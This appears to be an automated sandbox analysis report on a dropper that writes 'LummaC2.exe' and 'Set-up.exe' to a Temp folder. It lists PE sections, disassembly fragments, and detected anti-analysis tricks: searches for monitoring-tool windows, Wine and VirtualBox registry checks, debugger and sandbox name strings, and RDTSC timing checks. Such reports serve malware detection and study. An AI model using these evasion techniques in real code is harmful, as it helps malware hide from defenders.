Source: LummaC2.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4fec3

Source: QzK1LCSuq2.exe	Static PE information: section name:
Source: QzK1LCSuq2.exe	Static PE information: section name: .idata
Source: QzK1LCSuq2.exe	Static PE information: section name:
Source: QzK1LCSuq2.exe	Static PE information: section name: ykklxnol
Source: QzK1LCSuq2.exe	Static PE information: section name: vlogqxgm
Source: QzK1LCSuq2.exe	Static PE information: section name: .taggant
Source: Set-up.exe.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D0F0 push eax; mov dword ptr [esp], 03020130h	1_2_00D7D0F1
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7A480 push eax; mov dword ptr [esp], C9D6D7D4h	1_2_00D7A48E
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFF49 push ebp; retn 0000h	2_3_011AFF4B
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011A7F99 push cs; retf 002Eh	2_3_011A7F9A
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011AFD11 push ds; retf	2_3_011AFD12
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011B1B96 push eax; ret	2_3_011B1C21

Source: QzK1LCSuq2.exe

Static PE information: section name: ykklxnol entropy: 7.9529359809829145

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File created: C:\Users\user\AppData\Local\Temp\Set-up.exe			Jump to dropped file
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File created: C:\Users\user\AppData\Local\Temp\LummaC2.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: PROCMON.EXE
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: X64DBG.EXE
Source: QzK1LCSuq2.exe	Binary or memory string: SBIEDLL.DLL
Source: QzK1LCSuq2.exe, 00000000.00000003.1710079938.0000000005D80000.00000004.00001000.00020000.00000000.sdmp, QzK1LCSuq2.exe, 00000000.00000002.1750730410.0000000000FD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: SBIEDLL.DLLN@
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: WINDBG.EXE
Source: Set-up.exe.0.dr	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 16AE101 second address: 16AE123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 16AE123 second address: 16AE13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5B54D0936Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 16AE13A second address: 16AE13E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 16AE13E second address: 16AE148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182109E second address: 18210A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18210A4 second address: 18210C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09379h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182023A second address: 182023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182023E second address: 1820244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18204FD second address: 1820563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54E8FCC2h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jmp 00007F5B54E8FCC8h 0x00000013 jmp 00007F5B54E8FCC9h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F5B54E8FCC6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1820688 second address: 182069A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jp 00007F5B54D09366h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182369D second address: 18236AF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5B54E8FCB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18236AF second address: 18236D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D0936Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jbe 00007F5B54D09374h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18236D1 second address: 18236D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18236D5 second address: 182370C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007F5B54D0936Fh 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5B54D09373h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182391A second address: 182397C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B54E8FCBDh 0x0000000b popad 0x0000000c xor dword ptr [esp], 31FF7F73h 0x00000013 call 00007F5B54E8FCBFh 0x00000018 jmp 00007F5B54E8FCBEh 0x0000001d pop edx 0x0000001e mov edx, ecx 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D1C3Eh], ebx 0x0000002a push 00000003h 0x0000002c pushad 0x0000002d movzx esi, bx 0x00000030 jnp 00007F5B54E8FCBCh 0x00000036 popad 0x00000037 push 9533497Eh 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182397C second address: 182398A instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 182398A second address: 18239DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 2ACCB682h 0x0000000e jmp 00007F5B54E8FCC4h 0x00000013 mov dword ptr [ebp+122D2D1Fh], esi 0x00000019 lea ebx, dword ptr [ebp+124495E0h] 0x0000001f push edx 0x00000020 pushad 0x00000021 mov dword ptr [ebp+122D337Ah], ecx 0x00000027 mov dx, 9A09h 0x0000002b popad 0x0000002c pop esi 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 jmp 00007F5B54E8FCBCh 0x00000035 jl 00007F5B54E8FCB6h 0x0000003b popad 0x0000003c push ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1823B06 second address: 1823B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1823B0A second address: 1823B10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1823B10 second address: 1823B15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1823B15 second address: 1823B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54E8FCC2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 6E6682CEh 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F5B54E8FCB8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d lea ebx, dword ptr [ebp+124495EBh] 0x00000033 mov esi, dword ptr [ebp+122D3878h] 0x00000039 call 00007F5B54E8FCBEh 0x0000003e call 00007F5B54E8FCBEh 0x00000043 jmp 00007F5B54E8FCBDh 0x00000048 pop edi 0x00000049 pop edi 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F5B54E8FCBAh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1823B9B second address: 1823BB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18352E2 second address: 18352E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18352E6 second address: 18352F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D0936Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18352F7 second address: 18352FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18352FC second address: 1835302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1843422 second address: 1843439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 184384D second address: 1843873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 je 00007F5B54D0937Dh 0x0000000f jmp 00007F5B54D09377h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1843873 second address: 184387B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 184387B second address: 18438D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5B54D09374h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007F5B54D09366h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jo 00007F5B54D09366h 0x0000001f jmp 00007F5B54D09379h 0x00000024 jmp 00007F5B54D09373h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1843F48 second address: 1843F62 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F5B54E8FCBAh 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 183780D second address: 1837849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09377h 0x00000007 jg 00007F5B54D09378h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F5B54D09366h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18447F2 second address: 18447FC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B54E8FCB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18447FC second address: 1844802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1847BC2 second address: 1847BC8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1847BC8 second address: 1847BD5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1816831 second address: 1816835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1816835 second address: 181683F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 181683F second address: 181686C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F5B54E8FCB6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop esi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F5B54E8FCC7h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1850165 second address: 1850169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1850169 second address: 1850191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBDh 0x00000007 jnc 00007F5B54E8FCB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jns 00007F5B54E8FCB6h 0x00000016 jns 00007F5B54E8FCB6h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1850191 second address: 1850196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1850196 second address: 185019B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185019B second address: 18501A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18536B7 second address: 18536BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18536BD second address: 18536C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1853AFA second address: 1853B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1854439 second address: 185443D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185457A second address: 1854589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18547AE second address: 18547B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18547B2 second address: 18547EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F5B54E8FCC6h 0x00000015 pushad 0x00000016 jne 00007F5B54E8FCB6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1854D1C second address: 1854D93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D0936Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007F5B54D09374h 0x00000010 jmp 00007F5B54D0936Eh 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F5B54D09368h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 00000000h 0x00000032 jne 00007F5B54D0936Ch 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D28ABh], ecx 0x00000040 xchg eax, ebx 0x00000041 pushad 0x00000042 jmp 00007F5B54D0936Eh 0x00000047 push eax 0x00000048 push edx 0x00000049 jo 00007F5B54D09366h 0x0000004f rdtsc
